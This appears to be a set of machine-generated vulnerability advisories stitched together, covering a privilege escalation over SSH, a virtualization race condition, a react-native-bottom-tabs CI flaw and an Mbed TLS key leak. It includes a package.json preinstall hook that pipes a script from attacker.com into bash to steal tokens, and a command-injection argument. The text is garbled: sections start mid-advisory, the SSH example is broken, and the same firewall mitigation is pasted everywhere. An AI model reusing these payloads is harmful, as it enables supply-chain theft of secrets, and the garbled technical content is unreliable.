How the Exploit Works

The exploit works by leveraging a vulnerable script over SSH. An attacker with local access to the system can use the script to send specially crafted input data. Due to improper input validation, the script processes the input and can be tricked into executing commands with root privileges. This allows an attacker to escalate their privileges to root level, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a hypothetical example of how the vulnerability might be exploited. Note that this is a simplified and generic example, not an actual exploit code.

#!/bin/bash
# Assume we are a low privilege user
echo "Current user: $(whoami)"
# Run the vulnerable script with malicious input
# Here, the input is crafted to exploit the vulnerability and run arbitrary commands with root privileges
ssh -c "vulnerable_script '&& echo \"Malicious code executed with user: $(whoami)\" &&'"
# If successful, the output should show that the malicious code was executed with root privileges

Mitigation Guidance

The primary mitigation for this vulnerability is to apply the patch provided by the vendor. If a patch is not immediately available or cannot be applied right away, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. These can monitor network traffic and detect and block suspicious activities. However, this is not a permanent fix and should only be used as a stopgap measure until the patch can be applied. Regularly updating and patching software is the most effective way to protect against such vulnerabilities.

Vulnerability Summary

CVE ID: CVE-2025-54655
Severity: High (CVSS: 8.1)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

VMware vSphere | 6.x, 7.0
Oracle VM VirtualBox | 6.x

How the Exploit Works

The exploit takes advantage of a race condition vulnerability in the virtualization base module. A race condition occurs when a system’s behavior is dependent on the sequence or timing of other uncontrollable events. In this case, an attacker can manipulate the timing of operations to gain unauthorized access to resources in the virtualization graphics module. This unauthorized access can be used to compromise the system or leak confidential data.

Conceptual Example Code

The following pseudo-code illustrates how an attacker might take advantage of this vulnerability:

def exploit_race_condition():
while True:
# Initiate operation that causes race condition
initiate_operation()
# Check if race condition has been triggered
if check_race_condition():
# If race condition has been triggered, execute malicious operation
execute_malicious_operation()
exploit_race_condition()

In the above pseudo-code, the attacker continuously initiates an operation that causes a race condition and checks if the race condition has been triggered. If the race condition is triggered, the attacker executes a malicious operation that can compromise the system or leak data.
Note: This is a conceptual example and the actual exploitation may vary depending on the specific system, configuration, and vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-54594
Severity: Critical – 9.1 CVSS score
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

react-native-bottom-tabs | 0.9.2 and below

How the Exploit Works

The vulnerability stems from the GitHub Actions repository workflow in the react-native-bottom-tabs library. Specifically, the ‘release-canary.yml’ workflow improperly used the ‘pull_request_target’ event trigger. This misconfiguration allows untrusted code from a forked pull request to be executed in a privileged context.
An attacker can exploit this vulnerability by creating a pull request containing a malicious preinstall script in the ‘package.json’ file. The attacker then triggers the vulnerable workflow by posting a specific comment (‘!canary’). This leads to arbitrary code execution, potentially leading to the exfiltration of sensitive secrets such as GITHUB_TOKEN and NPM_TOKEN. These tokens could allow an attacker to push malicious code to the repository or publish compromised packages to the NPM registry.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability:

// Malicious preinstall script in package.json
{
"name": "exploit",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"preinstall": "curl https://attacker.com/steal_secrets.sh | bash"
},
"author": "",
"license": "ISC"
}

Then, the attacker would comment ‘!canary’ on the pull request to trigger the vulnerable workflow.

Mitigation and Remediation

Currently, there is a remediation commit that removes the ‘release-canary.yml’ file, but a version with this fix has yet to be officially released. Until the updated version is available, the recommended mitigation step is to either apply the vendor patch manually or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure.
It is also recommended to review the security settings of your GitHub Actions to ensure that untrusted code from forked pull requests cannot be executed in a privileged context.

Mbed TLS | Before 3.6.4

How the Exploit Works

The exploit works by taking advantage of a race condition in the AESNI detection functionality of the Mbed TLS library. If certain compiler optimizations occur, an attacker can manipulate the concurrent execution of threads to trick the system into revealing the AES key. This key can then be used to decrypt sensitive data or perform a GCM forgery.

Conceptual Example Code

While the exact code will vary based on the specific implementation of the Mbed TLS library, a conceptual example may look something like this:

#include "mbedtls/aes.h"
int main() {
mbedtls_aes_context aes;
unsigned char key[16];
mbedtls_aes_init(&aes);
mbedtls_aes_setkey_enc(&aes, key, 128);
// At this point, due to the vulnerability,
// another thread could potentially extract the AES key
// from the aes context while it's being used for encryption.
// ... Rest of the code ...
return 0;
}

Mitigation Guidance

The recommended mitigation for this vulnerability is to update the Mbed TLS library to version 3.6.4 or later, where the vulnerability has been patched. If this is not immediately feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not permanent solutions and the library should be updated as soon as possible to fully secure your system.
